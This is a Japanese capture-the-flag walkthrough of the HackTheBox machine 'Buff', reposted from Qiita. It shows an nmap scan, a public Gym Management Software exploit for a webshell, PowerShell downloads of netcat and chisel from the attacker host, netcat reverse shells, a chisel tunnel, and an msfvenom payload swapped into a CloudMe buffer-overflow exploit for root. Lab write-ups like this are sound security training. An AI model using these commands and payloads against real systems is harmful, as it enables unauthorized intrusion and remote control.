Buff Walk Through ~HackTheBox~
HackTheBoxは無料で利用できるセキュリティ学習環境としては(個人的には)良質なものと感じています。HTB知らない方は以下リンクより。
https://www.hackthebox.eu/
本記事ではHackTheBoxのMachineの内、Windowsのレベルeasyに分類されるBuffのWalkThroughを書いていきます。
Buff WalkThrough
IPアドレス:10.10.10.198
Machine Name:Buff
Level:easy
ポートスキャン
nmap 10.10.10.198 -Pn -sV -sC -A
ポートスキャンからPort:8080にwebサービスが起動している事はわかります。アクセスしてみましょう。
フィットネスのWebページっぽいですね。Contactタブをクリックすると、以下のようなページが出てきます。
赤枠内に注目してください。
おそらく使用されているであろうソフトウェアの名前Gym Management Software 1.0が表示されています。
User Flag
ソフトウェア名とバージョンをexploit-dbで検索します。
以下の情報がヒットしました。
Exploitコードがダウンロード可能なので、ダウンロードして実行します。
python gym-exploit.py http://10.10.10.198:8080/
$\tiny{※gym-exploit.pyはexploitコードの名前です。}$
以下のように、webshellを確立することに成功しました。
Webshellを使って、netcatとport forwardingに使用するexeファイルをターゲットマシンにダウンロードします。
これは自分の好きな方法で構いませんが、ここではpythonのSimpleHTTPServerを使用します。
python -m SimpleHTTPServer <port>
Webshellでは、以下、二つのコマンドを実行してサーバからnetcatとchiselをダウンロードします。
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/nc.exe -OutFile c:\xampp\htdocs\gym\upload\nc.exe
powershell Invoke-Webrequest -uri http://<your host ip and port>/netcat/chisel.exe -OutFile c:\xampp\htdocs\gym\upload\chisel.exe
Kaliではnetcatをlistenモードで起動して待機し、ダウンロードしたnetcatをwebshellで実行します。
#kali
nc -lvvnp <port>
#Webshell(Windows)
nc <your kali ip> <your listening port> -e cmd.exe
Shellが確立できました。
User flagを獲得しにいきましょう。
問題なくuser.txtの中身を確認できました。
Root Flag
root.txtにアクセスするには権限昇格を行う必要があります。
ターゲットマシン内をしばらく散策すると、CloudMe_1112.exeという実行ファイルを発見しました。
exploit-dbで検索してみると、バッファオーバーフローの脆弱性があるようです。
(ターゲットマシンのBuffという名前はこれを暗示していたようです。)
exploitコードをダウンロードします。
ダウンロードしたexploitコードでは脆弱性を利用して、任意のコマンドを実行できるようです。デフォルトではcalc.exe(電卓)を実行するコードになっていますので、msfvenomを使って、コードを編集します。
msfvenom -p windows/exec CMD='c:\xamppp\htdocs\gym\upload\nc.exe <your ip> <listening port> -e cmd.exe' -b '\x00\x0a\x0d' -f python -v payload
生成されたpayloadをダウンロードしたexploitコードのpayload部分に差し替えます。
いよいよexploitコードを実行!としたいところですが、トンネルを作らないとターゲットマシンはpayloadを受け付けてくれません。
ここで、先ほどアップロードしておいたchiselを使います。
#kali
chisel server -p <listening port> -reverse -v
#ターゲットマシン
chisel.exe client <your ip> R:8888:127.0.0.1:8888 -v --keepalive:1000
無事、トンネル開通。
exploitコードを実行したときのreverse通信をlistenするためにpayload作成の時に指定したlistening portをnetcatで待機。
nc -lvvnp 4444
あとはexploitを実行するだけです。(1回では成功しないときがあります。3,4回くらい試してみてください。うまくいかないときはchiselの出力を参考にしてみるとエラー内容が分かるかもしれません。)
python ./<exploitcode-name>.py
シェルが確立されます。root.txtの中身を確認しましょう。
無事、root flagが獲得できました。
お疲れさまでした。
Author And Source
この問題について(Buff Walk Through ~HackTheBox~), 我々は、より多くの情報をここで見つけました https://qiita.com/bananamilksec/items/9ba4a852ba09664531f6著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .